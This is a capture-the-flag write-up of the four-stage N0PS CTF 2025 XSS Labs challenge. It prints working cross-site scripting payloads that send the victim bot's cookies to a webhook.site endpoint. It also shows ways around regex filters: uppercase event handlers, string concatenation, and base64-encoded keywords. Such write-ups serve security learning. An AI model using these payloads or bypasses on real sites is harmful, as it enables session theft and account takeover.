XSS Labs

xss lab challegne

This is a challenge from N0PS CTF 2025

It has 4 stages of XSS to perform in order to get flag.

The site is contains 4 different pages (we initially know only the index page)

The input in the page gives us XSS as whatever we pass in the input will ultimately being checked by a bot on the server side (most prolly a headless browser).

With subsequent successfully XSS, it will give us routes to next page. We basically have to steal cookies from bot in order to proceed, as mentioned in the chall.

Note - for stealing cookies I useed of webhook from weebhook.site, also while testing my payloads locally i made use of query parameter (?payload=<PAYLOAD>) to check wheter my exploit working correctly or not.

XSS 1/4

at https://nopsctf-xss-lab.chals.io/

NO Filters here we can pass anything

So payload that I used is -

<script>fetch(`https://webhook.site/<YOUR_WEBHOOK_ENDPOINT>`,{method:"POST",body:document.cookie})</script>

I used burpsuite to intercept the form submission and then pass this value as payload

This will send a POST request with cookies on the specified webhook endpoint.

From that i got - xss2=/0d566d04bbc014c2d1d0902ad50a4122

Hence I got route to XSS 2/4

XSS 2/4

at https://nopsctf-xss-lab.chals.io/0d566d04bbc014c2d1d0902ad50a4122

This time we have a bit of server side filtering on the payload that we pass

def filter_2(payload):
    regex = ".*(script|(</.*>)).*"
    if re.match(regex, payload):
        return "Nope"
    return payload

This is the filter being used for our payload.

It’s a basic regex check for infilterating XSS input.

What it does:

  • don’t allow the literal script to be passed in the payload
  • don’t allow any closing tags like - </> , </script>, anything

But it’s not that strong we can bypass it :)

As I cannot pass any payload with closing tag, the only thing that hit in my mind was to use a img tag as they work without any closing tag

For this part I used the payload below, after a little bit of experimenting

// Actual payload
<img src=1 onerror="eval('fetch(\'https://webhook.site/<YOUR_WEBHOOK_ENDPOINT>\',{method:\'POST\',body:document.cookie})')">

// what passed while intercepting
<img+src=1+onerror="eval('fetch(\'https://webhook.site/<YOUR_WEBHOOK_ENDPOINT>\',{method:\'POST\',body:document.cookie})')">

again I used burpsuite to intercept the XSS form submission and then passed this payload.

Again I am able to steal cookie for this part - xss3=/5d1aaeadf1b52b4f2ab7042f3319a267

Now I can move to XSS 3/4 🥳

XSS 3/4

at https://nopsctf-xss-lab.chals.io/5d1aaeadf1b52b4f2ab7042f3319a267`

This time server side filter is more complex.

def filter_3(payload):
    regex = ".*(://|script|(</.*>)|(on\\w+\\s*=)).*"
    if re.match(regex, payload):
        return "Nope"
    return payload

This regex filter

  • didn’t allow me to use literal script
  • can’t use :// directly hence can’t use http:// directly
  • doesn’t allow event trigger starting with on, so i can’t use something like onerror, which I previously used with img tag. Also I cannot use anything like onload, onclick and many

But the thing to notice here is the filtering on event triggers starting with on, is not that strict we can use them by changing them to uppercase, which means onerror will work same as ONERROR

Huh, and for passing that :// check I can do string concatenation like this ':/'+'/'

Let’s form our new payload -

<img src=x ONERROR="eval('fetch(\'https:/\'+\'/webhook.site/<YOUR_WEBHOOK_ENDPOINT>\',{method:\'POST\',body:document.cookie})')">

Again as I used burpsuite to pass this payload while intercepting the request. The actual payload I passed while intercepting request is -

<img+src=x+ONERROR="eval('fetch(\'https:/\'%2b\'/webhook.site/<YOUR_WEBHOOK_ENDPOINT>\',{method:\'POST\',body:document.cookie})')">

Done with this part

Stealed the cookies.

Got - xss4=/b355082fc794c4d1d2b6c02e04163090

XSS 4/4

at https://nopsctf-xss-lab.chals.io/b355082fc794c4d1d2b6c02e04163090`

This is the final part of this challenge, with a even worse filter.

Honestly, It took me almost 2 hours to do this 😭

Here’s the filter being used for this part

def filter_4(payload):
    regex = "(?i:(.*(/|script|(</.*>)|document|cookie|eval|string|(\"|'|).*(('.+')|(\".+\")|(.+)).*(\"|'|)).*))|(on\w+\s*=)|\+|!"
    if re.match(regex, payload):
        return "Nope"
    return payload

For this filter (Gpt ahh text) -

  • Don’t allow forward slashes (/)

    • Blocks things like </tag> and JavaScript URLs.
  • Don’t allow the word script (case-insensitive)

    • Prevents <script>, JavaScript: schemes, etc.
  • Don’t allow closing HTML tags (</...>)

    • Blocks injection of tags like </img>, </iframe>, etc.
  • Don’t allow the word document

    • Blocks access to document.cookie, document.write, etc.
  • Don’t allow the word cookie

    • Prevents leaking cookie data.
  • Don’t allow the word eval

    • Stops arbitrary JavaScript execution.
  • Don’t allow the word string

    • May block use of String.fromCharCode or constructor tricks.
  • Don’t allow nested quotes inside strings

    • For example: 'abc"def', "abc'xyz", `abc"xyz'`
  • Don’t allow any HTML event handlers (on...=)

    • Such as onerror=, onload=, onclick=, etc.
  • Don’t allow the plus sign (+)

    • Used for string building or bypass tricks.
  • Don’t allow the exclamation mark (!)

    • Used in common JavaScript obfuscation (e.g., !1, ![], etc.)

Intially for this part I stucked soo long on using iframe or embed.

I tried encoding my payload as base64 encoded string and tried passing it using iframe as -

<iframe src="data:text/html;base64,<BASE64_ENCODED_PAYLOAD>">

Tho it didn’t work, I tried many variations also (ALMOST 35-40 payloads)

But the real clown moment hit’s when I got to know document.cookie is inaccessible in data: URI context 🤡

If somehow I could get XSS with iframe still then it would be impossible for me steal cookie.

I was back again with my lovely img tag, this time with a better startegy

Here is the journey i have gone through to get the final working payload -

<img+src=x+ONERROR=EVAL('alert(1)')> // not working

<img+src=x+ONERROR=alert(1)> // working
<img+src=x+ONERROR=a=2;alert(a)> // working

// `https://webhook.site/<YOUR_WEBHOOK_ENDPOINT>` -> base64 -> aHR0cHM6Ly93ZWJob29rLnNpdGUvPFlPVVJfV0VCSE9PS19FTkRQT0lOVD4=

<img+src=x+ONERROR=fetch(atob('aHR0cHM6Ly93ZWJob29rLnNpdGUvPFlPVVJfV0VCSE9PS19FTkRQT0lOVD4='))> // working

<img+src=x+ONERROR=fetch([atob('aHR0cHM6Ly93ZWJob29rLnNpdGUvPFlPVVJfV0VCSE9PS19FTkRQT0lOVD4='),"?q=","query"].join(""))> // not working

<img+src=x+ONERROR=fetch([atob('aHR0cHM6Ly93ZWJob29rLnNpdGUvPFlPVVJfV0VCSE9PS19FTkRQT0lOVD4='),'abcd'].join(''))> // not working

<img+src=x+ONERROR=fetch(atob('aHR0cHM6Ly93ZWJob29rLnNpdGUvPFlPVVJfV0VCSE9PS19FTkRQT0lOVD4=').concat("?q=lol"))> //working

<img+src=x+ONERROR=fetch(atob('aHR0cHM6Ly93ZWJob29rLnNpdGUvPFlPVVJfV0VCSE9PS19FTkRQT0lOVD4=').concat("?q=").concat("lol"))> // not working

// `https://webhook.site/<YOUR_WEBHOOK_ENDPOINT>?q=` -> base64 -> aHR0cHM6Ly93ZWJob29rLnNpdGUvPFlPVVJfV0VCSE9PS19FTkRQT0lOVD4/cT0=

<img+src=x+ONERROR=fetch(atob('aHR0cHM6Ly93ZWJob29rLnNpdGUvPFlPVVJfV0VCSE9PS19FTkRQT0lOVD4/cT0='').concat("lol"))> 
// working 

<img+src=x+ONERROR=fetch(atob('aHR0cHM6Ly93ZWJob29rLnNpdGUvPFlPVVJfV0VCSE9PS19FTkRQT0lOVD4/cT0='').concat(window[atob('ZG9jdW1lbnQ=')][atob('Y29va2ll')]))> 
// not working

// document -> base64 -> ZG9jdW1lbnQ=
// cookie -> base64 -> Y29va2ll

<img+src=x+ONERROR=alert(window[atob('ZG9jdW1lbnQ=')][atob('Y29va2ll')])> // not working

<img+src=x+ONERROR=alert(window[atob('ZG9jdW1lbnQ=')][atob("Y29va2ll")])> // working

<img+src=x+ONERROR=fetch(atob("aHR0cHM6Ly93ZWJob29rLnNpdGUvMmZmODJlYmItZWNlMy00YzNkLWE0MmEtMGNlNmQ2NTJjZjIxP3E9").concat(window[atob('ZG9jdW1lbnQ=')][atob(`Y29va2ll`)]))> // not working


// `https://webhook.site/<YOUR_WEBHOOK_ENDPOINT>?q=,document,cookie` -> base64 -> aHR0cHM6Ly93ZWJob29rLnNpdGUvPFlPVVJfV0VCSE9PS19FTkRQT0lOVD4/cT0sZG9jdW1lbnQsY29va2ll

<img+src=x+ONERROR=x=atob('aHR0cHM6Ly93ZWJob29rLnNpdGUvPFlPVVJfV0VCSE9PS19FTkRQT0lOVD4/cT0sZG9jdW1lbnQsY29va2ll').split(",");alert(x[0])> 
// not working (due to same name x maybe)

<img+src=x+ONERROR=a=atob('aHR0cHM6Ly93ZWJob29rLnNpdGUvPFlPVVJfV0VCSE9PS19FTkRQT0lOVD4/cT0sZG9jdW1lbnQsY29va2ll').split(",");alert(a[0])> 
// working

<img+src=x+ONERROR=x=atob('aHR0cHM6Ly93ZWJob29rLnNpdGUvPFlPVVJfV0VCSE9PS19FTkRQT0lOVD4/cT0sZG9jdW1lbnQsY29va2ll').split(",");fetch(x[0].concat(window[x[1]][x[2]]))> 
// not working (due to same name x)

<img+src=x+ONERROR=a=atob('aHR0cHM6Ly93ZWJob29rLnNpdGUvPFlPVVJfV0VCSE9PS19FTkRQT0lOVD4/cT0sZG9jdW1lbnQsY29va2ll').split(",");fetch(a[0].concat(window[a[1]][a[2]]))> 
//  working (FINAL WORKING PAYLOAD!!!!!!!)

(NOTE - do use your own webhook url and base64 encode on your own)

Hence I got finally a working payload for this part -

Thought process -

  • Enocde usefull strings - like webhook url, cookie, document in base64 seprated with , (comma)
  • https://webhook.site/2ff82ebb-ece3-4c3d-a42a-0ce6d652cf21?q=,document,cookie when base64 encoded gives aHR0cHM6Ly93ZWJob29rLnNpdGUvMmZmODJlYmItZWNlMy00YzNkLWE0MmEtMGNlNmQ2NTJjZjIxP3E9LGRvY3VtZW50LGNvb2tpZQ==
  • load base64 string -> decode it and use split function to split the decoded string with , as delimitter
  • use normal fetch with webhook url taken from that splitted base64 decoded string
  • use browser window API to get cookie window["document"]["cookie"], document and cookie literals can be taken from the same splitted base64 decoded string
<img src=x ONERROR=a=atob('aHR0cHM6Ly93ZWJob29rLnNpdGUvMmZmODJlYmItZWNlMy00YzNkLWE0MmEtMGNlNmQ2NTJjZjIxP3E9LGRvY3VtZW50LGNvb2tpZQ==').split(",");fetch(a[0].concat(window[a[1]][a[2]]))>


// pass this while intercepting
<img+src=x+ONERROR=a=atob('aHR0cHM6Ly93ZWJob29rLnNpdGUvMmZmODJlYmItZWNlMy00YzNkLWE0MmEtMGNlNmQ2NTJjZjIxP3E9LGRvY3VtZW50LGNvb2tpZQ==').split(",");fetch(a[0].concat(window[a[1]][a[2]]))> 

The above base64 encoded string

I again intercepted the form xss input submission using burpsuite and passed this as payload.

And hence got flag at my webhook endpoint 😄

xss lab challegne

It’s overall a good challenge, I learnt a lot in this CTF.

Hope to perform even better in next N0PS CTF 🚀